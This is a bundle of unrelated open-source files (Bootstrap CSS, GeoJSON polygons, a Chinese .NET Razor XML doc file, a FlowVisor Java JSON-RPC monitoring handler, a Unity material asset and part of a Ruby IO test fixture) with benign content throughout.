.navbar-inverse .navbar-nav > .active > a { background-color: #222222; } .navbar-inverse .navbar-brand, .navbar-inverse .navbar-nav > li > a { text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); } .navbar-static-top, .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } .alert { text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05); } .alert-success { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#dff0d8), to(#c8e5bc)); background-image: -webkit-linear-gradient(top, #dff0d8, 0%, #c8e5bc, 100%); background-image: -moz-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); background-repeat: repeat-x; border-color: #b2dba1; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); } .alert-info { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9edf7), to(#b9def0)); background-image: -webkit-linear-gradient(top, #d9edf7, 0%, #b9def0, 100%); background-image: -moz-linear-gradient(top, #d9edf7 0%, #b9def0 100%); background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); background-repeat: repeat-x; border-color: #9acfea; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); } .alert-warning { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#fcf8e3), to(#f8efc0)); background-image: -webkit-linear-gradient(top, #fcf8e3, 0%, #f8efc0, 100%); background-image: -moz-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); background-repeat: repeat-x; border-color: #f5e79e; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); } .alert-danger { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f2dede), to(#e7c3c3)); background-image: -webkit-linear-gradient(top, #f2dede, 0%, #e7c3c3, 100%); background-image: -moz-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); background-repeat: repeat-x; border-color: #dca7a7; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); } .progress { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ebebeb), to(#f5f5f5)); background-image: -webkit-linear-gradient(top, #ebebeb, 0%, #f5f5f5, 100%); background-image: -moz-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); } .progress-bar { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3071a9)); background-image: -webkit-linear-gradient(top, #428bca, 0%, #3071a9, 100%); background-image: -moz-linear-gradient(top, #428bca 0%, #3071a9 100%); background-image: linear-gradient(to bottom, #428bca 0%, #3071a9 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3071a9', GradientType=0); } .progress-bar-success { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5cb85c), to(#449d44)); background-image: -webkit-linear-gradient(top, #5cb85c, 0%, #449d44, 100%); background-image: -moz-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); } .progress-bar-info { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5bc0de), to(#31b0d5)); background-image: -webkit-linear-gradient(top, #5bc0de, 0%, #31b0d5, 100%); background-image: -moz-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); } .progress-bar-warning { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f0ad4e), to(#ec971f)); background-image: -webkit-linear-gradient(top, #f0ad4e, 0%, #ec971f, 100%); background-image: -moz-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); } .progress-bar-danger { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9534f), to(#c9302c)); background-image: -webkit-linear-gradient(top, #d9534f, 0%, #c9302c, 100%); background-image: -moz-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); } .list-group { border-radius: 4px; -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { text-shadow: 0 -1px 0 #3071a9; background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3278b3)); background-image: -webkit-linear-gradient(top, #428bca, 0%, #3278b3, 100%); background-image: -moz-linear-gradient(top, #428bca 0%, #3278b3 100%); background-image: linear-gradient(to bottom, #428bca 0%, #3278b3 100%); background-repeat: repeat-x; border-color: #3278b3; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3278b3', GradientType=0); } .panel { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); } .panel-default > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f5f5f5), to(#e8e8e8)); background-image: -webkit-linear-gradient(top, #f5f5f5, 0%, #e8e8e8, 100%); background-image: -moz-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); } .panel-primary > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#357ebd)); background-image: -webkit-linear-gradient(top, #428bca, 0%, #357ebd, 100%); background-image: -moz-linear-gradient(top, #428bca 0%, #357ebd 100%); background-image: linear-gradient(to bottom, #428bca 0%, #357ebd 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0); } .panel-success > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#dff0d8), to(#d0e9c6)); background-image: -webkit-linear-gradient(top, #dff0d8, 0%, #d0e9c6, 100%); background-image: -moz-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); } .panel-info > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9edf7), to(#c4e3f3)); background-image: -webkit-linear-gradient(top, #d9edf7, 0%, #c4e3f3, 100%); background-image: -moz-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); } .panel-warning > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#fcf8e3), to(#faf2cc)); background-image: -webkit-linear-gradient(top, #fcf8e3, 0%, #faf2cc, 100%); background-image: -moz-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); } .panel-danger > .panel-heading { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f2dede), to(#ebcccc)); background-image: -webkit-linear-gradient(top, #f2dede, 0%, #ebcccc, 100%); background-image: -moz-linear-gradient(top, #f2dede 0%, #ebcccc 100%); background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); } .well { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#e8e8e8), to(#f5f5f5)); background-image: -webkit-linear-gradient(top, #e8e8e8, 0%, #f5f5f5, 100%); background-image: -moz-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); background-repeat: repeat-x; border-color: #dcdcdc; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1); box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1); }
{ "pile_set_name": "Github" }
{ "type": "FeatureCollection", "features": [ { "type": "Feature", "geometry": { "type": "Polygon", "coordinates": [ [ [ 67.5, -48.92249926 ], [ 67.5, -45.08903556 ], [ 73.125, -45.08903556 ], [ 73.125, -48.92249926 ], [ 67.5, -48.92249926 ] ] ] }, "properties": {} }, { "type": "Feature", "geometry": { "type": "Polygon", "coordinates": [ [ [ 67.5, -52.48278022 ], [ 67.5, -48.92249926 ], [ 73.125, -48.92249926 ], [ 73.125, -52.48278022 ], [ 67.5, -52.48278022 ] ] ] }, "properties": {} }, { "type": "Feature", "properties": { "name": "original", "stroke": "#f44", "fill": "#f44" }, "geometry": { "type": "Polygon", "coordinates": [ [ [ 68.935, -48.625 ], [ 69.58, -48.94 ], [ 70.525, -49.065 ], [ 70.56, -49.255 ], [ 70.28, -49.71 ], [ 68.745, -49.775 ], [ 68.72, -49.2425 ], [ 68.8675, -48.83 ], [ 68.935, -48.625 ] ] ] } } ] }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <doc> <assembly> <name>System.Web.WebPages.Razor</name> </assembly> <members> <member name="T:System.Web.WebPages.Razor.CompilingPathEventArgs"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.CompilingPathEventArgs.#ctor(System.String,System.Web.WebPages.Razor.WebPageRazorHost)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.CompilingPathEventArgs.Host"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.CompilingPathEventArgs.VirtualPath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="T:System.Web.WebPages.Razor.PreApplicationStartCode"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.PreApplicationStartCode.Start"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="T:System.Web.WebPages.Razor.RazorBuildProvider"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.#ctor"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.AddVirtualPathDependency(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.RazorBuildProvider.AssemblyBuilder"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.RazorBuildProvider.CodeCompilerType"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="E:System.Web.WebPages.Razor.RazorBuildProvider.CodeGenerationCompleted"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="E:System.Web.WebPages.Razor.RazorBuildProvider.CodeGenerationStarted"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="E:System.Web.WebPages.Razor.RazorBuildProvider.CompilingPath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.CreateHost"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.GenerateCode(System.Web.Compilation.AssemblyBuilder)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.GetGeneratedType(System.CodeDom.Compiler.CompilerResults)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.GetHostFromConfig"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.InternalOpenReader"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.RazorBuildProvider.OnBeforeCompilePath(System.Web.WebPages.Razor.CompilingPathEventArgs)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.RazorBuildProvider.VirtualPath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.RazorBuildProvider.VirtualPathDependencies"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="T:System.Web.WebPages.Razor.WebCodeRazorHost"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebCodeRazorHost.#ctor(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebCodeRazorHost.#ctor(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebCodeRazorHost.GetClassName(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebCodeRazorHost.PostProcessGeneratedCode(System.Web.Razor.Generator.CodeGeneratorContext)"></member> <member name="T:System.Web.WebPages.Razor.WebPageRazorHost"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.#ctor(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.#ctor(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.AddGlobalImport(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.CodeLanguage"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.CreateMarkupParser"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.DefaultBaseClass"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.DefaultClassName"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.DefaultDebugCompilation"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.DefaultPageBaseClass"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.GetClassName(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.GetCodeLanguage"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.GetGlobalImports"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.InstrumentedSourceFilePath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.IsSpecialPage"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.PhysicalPath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.PostProcessGeneratedCode(System.Web.Razor.Generator.CodeGeneratorContext)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.RegisterSpecialFile(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebPageRazorHost.RegisterSpecialFile(System.String,System.Type)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="P:System.Web.WebPages.Razor.WebPageRazorHost.VirtualPath"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="T:System.Web.WebPages.Razor.WebRazorHostFactory"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.#ctor"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.ApplyConfigurationToHost(System.Web.WebPages.Razor.Configuration.RazorPagesSection,System.Web.WebPages.Razor.WebPageRazorHost)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateDefaultHost(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateDefaultHost(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateHost(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateHostFromConfig(System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateHostFromConfig(System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateHostFromConfig(System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="M:System.Web.WebPages.Razor.WebRazorHostFactory.CreateHostFromConfig(System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup,System.String,System.String)"> <summary>此类型/成员支持 .NET Framework 基础结构,不能在代码中直接使用。</summary> </member> <member name="T:System.Web.WebPages.Razor.Configuration.HostSection"> <summary>为 host 配置部分提供配置系统支持。</summary> </member> <member name="M:System.Web.WebPages.Razor.Configuration.HostSection.#ctor"> <summary>初始化 <see cref="T:System.Web.WebPages.Razor.Configuration.HostSection" /> 类的新实例。</summary> </member> <member name="P:System.Web.WebPages.Razor.Configuration.HostSection.FactoryType"> <summary>获取或设置宿主工厂。</summary> <returns>宿主工厂。</returns> </member> <member name="F:System.Web.WebPages.Razor.Configuration.HostSection.SectionName"> <summary>表示 Razor 宿主环境的配置部分的名称。</summary> </member> <member name="T:System.Web.WebPages.Razor.Configuration.RazorPagesSection"> <summary>为 pages 配置部分提供配置系统支持。</summary> </member> <member name="M:System.Web.WebPages.Razor.Configuration.RazorPagesSection.#ctor"> <summary>初始化 <see cref="T:System.Web.WebPages.Razor.Configuration.RazorPagesSection" /> 类的新实例。</summary> </member> <member name="P:System.Web.WebPages.Razor.Configuration.RazorPagesSection.Namespaces"> <summary>获取或设置要添加到当前应用程序的 Web Pages 页的命名空间的集合。</summary> <returns>命名空间的集合。</returns> </member> <member name="P:System.Web.WebPages.Razor.Configuration.RazorPagesSection.PageBaseType"> <summary>获取或设置页基类型类的名称。</summary> <returns>页基类型类的名称。</returns> </member> <member name="F:System.Web.WebPages.Razor.Configuration.RazorPagesSection.SectionName"> <summary>表示 Razor 页配置部分的名称。</summary> </member> <member name="T:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup"> <summary>为 system.web.webPages.razor 配置部分提供配置系统支持。</summary> </member> <member name="M:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup.#ctor"> <summary>初始化 <see cref="T:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup" /> 类的新实例。</summary> </member> <member name="F:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup.GroupName"> <summary>表示 Razor Web 部分的配置部分的名称。包含静态的只读字符串“system.web.webPages.razor”。</summary> </member> <member name="P:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup.Host"> <summary>获取或设置 system.web.webPages.razor 部分组的 host 值。</summary> <returns>主机值。</returns> </member> <member name="P:System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup.Pages"> <summary>获取或设置 system.web.webPages.razor 部分的 pages 元素的值。</summary> <returns>pages 元素的值。</returns> </member> </members> </doc>
{ "pile_set_name": "Github" }
package org.flowvisor.api.handlers; import java.util.HashMap; import org.flowvisor.api.handlers.monitoring.ListDatapathFlowDB; import org.flowvisor.api.handlers.monitoring.ListDatapathFlowRewriteDB; import org.flowvisor.api.handlers.monitoring.ListDatapathInfo; import org.flowvisor.api.handlers.monitoring.ListDatapathStats; import org.flowvisor.api.handlers.monitoring.ListDatapaths; import org.flowvisor.api.handlers.monitoring.ListFVHealth; import org.flowvisor.api.handlers.monitoring.ListLinks; import org.flowvisor.api.handlers.monitoring.ListSliceHealth; import org.flowvisor.api.handlers.monitoring.ListSliceInfo; import org.flowvisor.api.handlers.monitoring.ListSliceStats; import org.flowvisor.api.handlers.monitoring.RegisterEventCallback; import org.flowvisor.api.handlers.monitoring.UnRegisterEventCallback; import com.thetransactioncompany.jsonrpc2.JSONRPC2Error; import com.thetransactioncompany.jsonrpc2.JSONRPC2ParamsType; import com.thetransactioncompany.jsonrpc2.JSONRPC2Request; import com.thetransactioncompany.jsonrpc2.JSONRPC2Response; import com.thetransactioncompany.jsonrpc2.server.MessageContext; import com.thetransactioncompany.jsonrpc2.server.RequestHandler; public class MonitoringHandler implements RequestHandler { @SuppressWarnings( { "serial", "rawtypes" } ) HashMap<String, ApiHandler> handlers = new HashMap<String, ApiHandler>() {{ put("list-slice-info", new ListSliceInfo()); put("list-datapaths", new ListDatapaths()); put("list-datapath-info", new ListDatapathInfo()); put("list-datapath-stats", new ListDatapathStats()); put("list-fv-health", new ListFVHealth()); put("list-links", new ListLinks()); put("list-slice-health", new ListSliceHealth()); put("list-slice-stats", new ListSliceStats()); put("list-datapath-flowdb", new ListDatapathFlowDB()); put("list-datapath-flowrewritedb", new ListDatapathFlowRewriteDB()); put("register-event-callback", new RegisterEventCallback()); put("unregister-event-callback", new UnRegisterEventCallback()); }}; @Override public String[] handledRequests() { return handlers.keySet().toArray(new String[]{}); } @SuppressWarnings({ "rawtypes", "unchecked" }) @Override public JSONRPC2Response process(JSONRPC2Request req, MessageContext ctxt) { ApiHandler m = handlers.get(req.getMethod()); if (m != null) { if (m.getType() != JSONRPC2ParamsType.NO_PARAMS && m.getType() != req.getParamsType()) return new JSONRPC2Response(new JSONRPC2Error(JSONRPC2Error.INVALID_PARAMS.getCode(), req.getMethod() + " requires: " + m.getType() + "; got: " + req.getParamsType()), req.getID()); switch (m.getType()) { case NO_PARAMS: return m.process(null); case ARRAY: return m.process(req.getPositionalParams()); case OBJECT: return m.process(req.getNamedParams()); } } return new JSONRPC2Response(JSONRPC2Error.METHOD_NOT_FOUND, req.getID()); } }
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: Mat_UnityModelBody1 m_Shader: {fileID: 46, guid: 0000000000000000f000000000000000, type: 0} m_ShaderKeywords: m_LightmapFlags: 4 m_EnableInstancingVariants: 0 m_DoubleSidedGI: 0 m_CustomRenderQueue: -1 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _GlossMapScale: 1 - _Glossiness: 0.5 - _GlossyReflections: 1 - _Metallic: 0 - _Mode: 0 - _OcclusionStrength: 1 - _Parallax: 0.02 - _SmoothnessTextureChannel: 0 - _SpecularHighlights: 1 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _Color: {r: 0.60784316, g: 0.60784316, b: 0.60784316, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
{ "pile_set_name": "Github" }
# -*- encoding: utf-8 -*- module IOSpecs class SubIO < IO end def self.collector Proc.new { |x| ScratchPad << x } end def self.lines [ "Voici la ligne une.\n", "Qui \303\250 la linea due.\n", "\n", "\n", "Aqu\303\255 est\303\241 la l\303\255nea tres.\n", "Hier ist Zeile vier.\n", "\n", "Est\303\241 aqui a linha cinco.\n", "Here is line six.\n" ] end def self.lines_without_newline_characters [ "Voici la ligne une.", "Qui \303\250 la linea due.", "", "", "Aqu\303\255 est\303\241 la l\303\255nea tres.", "Hier ist Zeile vier.", "", "Est\303\241 aqui a linha cinco.", "Here is line six." ] end def self.lines_limit [ "Voici la l", "igne une.\n", "Qui è la ", "linea due.", "\n", "\n", "\n", "Aquí está", " la línea", " tres.\n", "Hier ist Z", "eile vier.", "\n", "\n", "Está aqui", " a linha c", "inco.\n", "Here is li", "ne six.\n" ] end def self.lines_space_separator_limit [ "Voici ", "la ", "ligne ", "une.\nQui ", "è ", "la ", "linea ", "due.\n\n\nAqu", "í ", "está ", "la ", "línea ", "tres.\nHier", " ", "ist ", "Zeile ", "vier.\n\nEst", "á ", "aqui ", "a ", "linha ", "cinco.\nHer", "e ", "is ", "line ", "six.\n" ] end def self.lines_r_separator [ "Voici la ligne une.\nQui \303\250 la linea due.\n\n\nAqu\303\255 est\303\241 la l\303\255nea tr", "es.\nHier", " ist Zeile vier", ".\n\nEst\303\241 aqui a linha cinco.\nHer", "e is line six.\n" ] end def self.lines_empty_separator [ "Voici la ligne une.\nQui \303\250 la linea due.\n\n", "Aqu\303\255 est\303\241 la l\303\255nea tres.\nHier ist Zeile 